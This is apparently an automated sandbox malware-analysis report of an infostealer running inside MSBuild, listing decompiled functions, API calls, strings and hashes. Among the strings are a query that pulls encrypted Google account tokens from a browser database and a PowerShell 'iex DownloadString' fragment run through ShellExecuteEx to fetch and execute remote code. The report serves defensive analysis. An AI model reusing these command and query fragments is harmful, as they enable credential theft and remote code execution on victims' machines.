sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC94E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC94E4D

Strings

API call with %s database connection pointer, xrefs: 6CC94E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC94E38
invalid, xrefs: 6CC94E25
misuse, xrefs: 6CC94E42
%s at line %d of [%.10s], xrefs: 6CC94E47

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: ed471fb8608ac21cecba2ad7d33f65a5991969c93307c54c7e0b0dc09586926f
Instruction ID: 9dfbf288f88a99bb8495c12acc89b2be3dbbc78d68a1400e8d37da59fcf2b74f
Opcode Fuzzy Hash: ed471fb8608ac21cecba2ad7d33f65a5991969c93307c54c7e0b0dc09586926f
Instruction Fuzzy Hash: B0F09721F84968AFE62082258C10F86BB858F0932DF0944A1EE3827F92F3059A2142E1

Function 00409A0E Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 223stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 00409BB2

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,AccountId), ref: 00409BCF
lstrlenA.KERNEL32(?), ref: 00409C7E
lstrlenA.KERNEL32(?), ref: 00409C99

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Strings

GoogleAccounts, xrefs: 00409A37
AccountId, xrefs: 00409BC9
SELECT service, encrypted_token FROM token_service, xrefs: 00409B1F
GoogleAccounts, xrefs: 00409A8E

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$lstrcat$AllocLocal
String ID: AccountId$GoogleAccounts$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 3306365304-1713091031
Opcode ID: 373c145094afc569421a9b382b35d30a878fe0248d8babc33f1a199af81daf01
Instruction ID: 1c65cc4d7803f8688ba0d0b6af71766e4abc47820e1b4d1122a48dc67a9a7b7f
Opcode Fuzzy Hash: 373c145094afc569421a9b382b35d30a878fe0248d8babc33f1a199af81daf01
Instruction Fuzzy Hash: 5C815171E40109ABCF01FFA5DE469DD77B5AF04309F511026F900B71E2DBB8AE898B98

Function 6CC00C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CC01444,?,00000001,?,00000000,00000000,?,?,6CC01444,?,?,00000000,?,?), ref: 6CC00CB3

Part of subcall function 6CC6C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC6C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC01444,?,00000001,?,00000000,00000000,?,?,6CC01444,?), ref: 6CC00DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CC01444,?,00000001,?,00000000,00000000,?,?,6CC01444,?), ref: 6CC00DEC

Part of subcall function 6CC20F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CBC2AF5,?,?,?,?,?,6CBC0A1B,00000000), ref: 6CC20F1A
Part of subcall function 6CC20F10: malloc.MOZGLUE(00000001), ref: 6CC20F30
Part of subcall function 6CC20F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC20F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CC01444,?,00000001,?,00000000,00000000,?), ref: 6CC00DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CC01444,?,00000001,?,00000000), ref: 6CC00E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CC01444,?,00000001,?,00000000,00000000,?), ref: 6CC00E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CC01444,?,00000001,?,00000000,00000000,?,?,6CC01444,?,?,00000000), ref: 6CC00E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC01444,?,00000001,?,00000000,00000000,?), ref: 6CC00E79

Part of subcall function 6CC11560: TlsGetValue.KERNEL32(00000000,?,6CBE0844,?), ref: 6CC1157A
Part of subcall function 6CC11560: EnterCriticalSection.KERNEL32(?,?,?,6CBE0844,?), ref: 6CC1158F
Part of subcall function 6CC11560: PR_Unlock.NSS3(?,?,?,?,6CBE0844,?), ref: 6CC115B2

Part of subcall function 6CBDB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CBE1397,00000000,?,6CBDCF93,5B5F5EC0,00000000,?,6CBE1397,?), ref: 6CBDB1CB
Part of subcall function 6CBDB1A0: free.MOZGLUE(5B5F5EC0,?,6CBDCF93,5B5F5EC0,00000000,?,6CBE1397,?), ref: 6CBDB1D2

Part of subcall function 6CBD89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CBD88AE,-00000008), ref: 6CBD8A04
Part of subcall function 6CBD89E0: EnterCriticalSection.KERNEL32(?), ref: 6CBD8A15
Part of subcall function 6CBD89E0: memset.VCRUNTIME140(6CBD88AE,00000000,00000132), ref: 6CBD8A27
Part of subcall function 6CBD89E0: PR_Unlock.NSS3(?), ref: 6CBD8A35

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 830246352b184fcbdfb9713abcf37d75976502d84061de44005a49918653dedf
Instruction ID: fc6e67e2d32feca4a71c7f07de632577026391c0a6927d903afd0f72d1726783
Opcode Fuzzy Hash: 830246352b184fcbdfb9713abcf37d75976502d84061de44005a49918653dedf
Instruction Fuzzy Hash: 8151DAB6E002415FEB009F64DC81ABF37A8AF0965CF160064ED19A7B12F732ED15C7A2

Function 6CBB2D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CBB2D69

Strings

winTruncate2, xrefs: 6CBB2EF8
winSeekFile, xrefs: 6CBB2E9C
winUnmapfile2, xrefs: 6CBB2F7F
winTruncate1, xrefs: 6CBB2EBE
winUnmapfile1, xrefs: 6CBB2F55

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: ee18e61d8bcaa1642ccf35824442c0c2751724f72931d858215eda52050caaab
Instruction ID: b0f3c22130dd7258f2e60852c44b6da2b93bc56ddd904f4797ac840c0c4f274b
Opcode Fuzzy Hash: ee18e61d8bcaa1642ccf35824442c0c2751724f72931d858215eda52050caaab
Instruction Fuzzy Hash: E561C371B002049FEB04CF68DC98A6A77B5FF49354F10812CEA15ABB90DF31AD46CB92

Function 00412D70 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412EC0

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412E18
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412E5B
C:\ProgramData\, xrefs: 00412DA3
.ps1, xrefs: 00412DF3
')", xrefs: 00412E13

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$.ps1$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 2215929589-1989157005
Opcode ID: c57515e4a1ab955884891a4ac7a93c799c466449e7e1b6e476093f93548025be
Instruction ID: d4bc49303887be4e6334ac6b4843b1e71d055e880c24203978c9a7e3e1ca0007
Opcode Fuzzy Hash: c57515e4a1ab955884891a4ac7a93c799c466449e7e1b6e476093f93548025be
Instruction Fuzzy Hash: 4641FB71E00119ABCF11FBA6DD469CDB7B4AF04308F61406BF514B7191DBB86E8A8B98

Function 6CC0AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CC0AB3E,?,?,?), ref: 6CC0AC35

Part of subcall function 6CBECEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CBECF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CC0AB3E,?,?,?), ref: 6CC0AC55

Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC210F3
Part of subcall function 6CC210C0: EnterCriticalSection.KERNEL32(?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2110C
Part of subcall function 6CC210C0: PL_ArenaAllocate.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21141
Part of subcall function 6CC210C0: PR_Unlock.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21182
Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CC0AB3E,?,?), ref: 6CC0AC70

Part of subcall function 6CBEE300: TlsGetValue.KERNEL32 ref: 6CBEE33C
Part of subcall function 6CBEE300: EnterCriticalSection.KERNEL32(?), ref: 6CBEE350
Part of subcall function 6CBEE300: PR_Unlock.NSS3(?), ref: 6CBEE5BC
Part of subcall function 6CBEE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CBEE5CA
Part of subcall function 6CBEE300: TlsGetValue.KERNEL32 ref: 6CBEE5F2
Part of subcall function 6CBEE300: EnterCriticalSection.KERNEL32(?), ref: 6CBEE606
Part of subcall function 6CBEE300: PORT_Alloc_Util.NSS3(?), ref: 6CBEE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CC0AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC0AB3E), ref: 6CC0ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CC0AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CC0AD2B

Part of subcall function 6CBEF360: TlsGetValue.KERNEL32(00000000,?,6CC0A904,?), ref: 6CBEF38B
Part of subcall function 6CBEF360: EnterCriticalSection.KERNEL32(?,?,?,6CC0A904,?), ref: 6CBEF3A0
Part of subcall function 6CBEF360: PR_Unlock.NSS3(?,?,?,?,6CC0A904,?), ref: 6CBEF3D3

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: b438ca4f3d513c3cfeed63cbb9b74ec7d1aadf6685c06294d1dfba6cad8008bf
Instruction ID: fc3a6a451fac85bca0d7d1fe6f3d48ef0c0685b703a83ef1bb6bafb9d962f73c
Opcode Fuzzy Hash: b438ca4f3d513c3cfeed63cbb9b74ec7d1aadf6685c06294d1dfba6cad8008bf
Instruction Fuzzy Hash: 4E3119B1F006155FEB048F699C409AF7766AFC4718B1A8128E8159BB40FB33ED15C7A1

Function 6CBE8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CBE8C7C

Part of subcall function 6CC89DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CCD0A27), ref: 6CC89DC6
Part of subcall function 6CC89DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CCD0A27), ref: 6CC89DD1
Part of subcall function 6CC89DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC89DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBE8CB0
TlsGetValue.KERNEL32 ref: 6CBE8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CBE8CE5
PR_Unlock.NSS3(?), ref: 6CBE8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CBE8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE8D93

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 407c95943436498af02247ede7e589c39f1ccd9e3b35a4eb4f8e25f350c6e1dc
Instruction ID: 7b0cdab8079e44ef7b09f7bdbe4b5a5f2c6911621ec932a68112e0f7cd4b778d
Opcode Fuzzy Hash: 407c95943436498af02247ede7e589c39f1ccd9e3b35a4eb4f8e25f350c6e1dc
Instruction Fuzzy Hash: 8F318A71A00A11AFEB009F6CDC40BAAB7B4FF49758F14413AEE1967B50D772A964C7C2

Function 6CC2CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CC2CD93,?), ref: 6CC2CEEE

Part of subcall function 6CC214C0: TlsGetValue.KERNEL32 ref: 6CC214E0
Part of subcall function 6CC214C0: EnterCriticalSection.KERNEL32 ref: 6CC214F5
Part of subcall function 6CC214C0: PR_Unlock.NSS3 ref: 6CC2150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CC2CD93,?), ref: 6CC2CEFC

Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC210F3
Part of subcall function 6CC210C0: EnterCriticalSection.KERNEL32(?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2110C
Part of subcall function 6CC210C0: PL_ArenaAllocate.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21141
Part of subcall function 6CC210C0: PR_Unlock.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21182
Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CC2CD93,?), ref: 6CC2CF0B

Part of subcall function 6CC20840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC208B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CC2CD93,?), ref: 6CC2CF1D

Part of subcall function 6CC1FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC18D2D,?,00000000,?), ref: 6CC1FB85
Part of subcall function 6CC1FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC1FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CC2CD93,?), ref: 6CC2CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CC2CD93,?), ref: 6CC2CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CC2CD93,?,?,?,?,?,?,?,?,?,?,?,6CC2CD93,?), ref: 6CC2CF78

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 218a5bfa80e0280346cc364e61e804e960314c9b198517e0bf015ba71a42398c
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 2A11D6B5E003045BFB20AA6A7C41B7BB6EC9F5464DF044039EC09D7B41FB69DA09C6B2

Function 6CAE84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE85AC

Part of subcall function 6CAE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE767F
Part of subcall function 6CAE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE7693
Part of subcall function 6CAE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE85B2

Part of subcall function 6CAC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAC5EDB
Part of subcall function 6CAC5E90: memset.VCRUNTIME140(6CB07765,000000E5,55CCCCCC), ref: 6CAC5F27
Part of subcall function 6CAC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAC5FB2

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: a8ddbd547f7ee669df53490e6d4d40361abf9fbd5990ad1da35c94d8d67b2ff3
Instruction ID: 6aab354a063cdd3660047fc2b2d7c638bf1ac0db6f32a02180009790f24bbb2f
Opcode Fuzzy Hash: a8ddbd547f7ee669df53490e6d4d40361abf9fbd5990ad1da35c94d8d67b2ff3
Instruction Fuzzy Hash: FE2183742006019FEB14DB28D888AABB7B9AF4830DF14482DE55FC3B41DB35F988CB95

Function 6CBD8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBD8C1B
EnterCriticalSection.KERNEL32 ref: 6CBD8C34
PL_ArenaAllocate.NSS3 ref: 6CBD8C65
PR_Unlock.NSS3 ref: 6CBD8C9C
PR_Unlock.NSS3 ref: 6CBD8CB6

Part of subcall function 6CC6DD70: TlsGetValue.KERNEL32 ref: 6CC6DD8C
Part of subcall function 6CC6DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC6DDB4

Strings

KRAM, xrefs: 6CBD8C8F

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
